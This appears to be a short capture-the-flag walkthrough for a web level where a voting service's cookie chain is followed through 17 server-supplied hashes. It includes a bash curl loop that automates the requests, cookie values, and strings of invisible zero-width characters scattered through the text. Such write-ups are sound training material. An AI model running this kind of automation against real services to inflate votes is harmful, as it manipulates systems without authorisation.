← Back to Writeups
CUSTOMEasyWeb
Bookmark

Level 22

XESXOR9/2/20262 min read
#web#custom#easy#cookie_chain_following#sequential_cookie_extraction

Level 22

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: cookie_chain_following, sequential_cookie_extraction

Summary

Walkthrough of the CUSTOM Web Level 22. Task: Voting service requiring 17 votes with cookie-based authentication using value:hash format. Solution: Follow the cookie chain - server provides the next valid hash in each response, iterate 17 t

Description

Voting service with cookie-based authentication. Need to collect 17 votes to get the flag.

Analysis

Initial Reconnaissance

  • URL: http://kslweb1.spb.ctf.su/second/level22/
  • Server: nginx/1.18.0 (Ubuntu), PHP/5.5.9, Apache/2.4.7 behind nginx
  • Content-Type: text/plain

Voting Mechanism

The page returns:

=== Voting service ===

Currently you have 0 votes.

To vote +1, set this cookie: Set-Cookie: votes=1:7bc858c0d521f3bdf696f7187c2da177

To get flag you need 17 votes here.

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Cookie Format

  • votes=N:MD5_HASH — where N is the vote count, MD5_HASH is server-side validation
  • The hash is NOT a simple MD5 of the number — a server-side secret/salt is used
  • However, the server kindly provides the correct hash for the next vote in each response
  • Cannot skip ahead (e.g., directly set votes=17) — without the server secret, the correct hash is unknown

Solution

Algorithm

  1. Start without a cookie (0 votes), the page provides cookie for vote 1: votes=1:7bc858c0d521f3bdf696f7187c2da177
  2. Set this cookie, request the page again — shows 1 vote and provides cookie for vote 2: votes=2:18066f103b079d3efe562b570433ceb6
  3. Repeat the process, following the chain through all 17 steps ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Automation (bash)

 bash 
COOKIE="votes=1:7bc858c0d521f3bdf696f7187c2da177"
for i in $(seq 1 16); do
  RESULT=$(curl -s -b "$COOKIE" http://kslweb1.spb.ctf.su/second/level22/)
  COOKIE=$(echo "$RESULT" | grep -o 'votes=[^ ]*')
  echo "Step $i: $COOKIE"
done
# Final request with votes=17
curl -b "$COOKIE" http://kslweb1.spb.ctf.su/second/level22/

Final Request

 bash 
curl -b "votes=17:595dcec900120b7d9b7542c589b84013" http://kslweb1.spb.ctf.su/second/level22/

Response:

Done! Flag: KSL{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering cookie_chain_following, sequential_cookie_extraction was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-08 • CUSTOM • Level 22 • Difficulty: Easy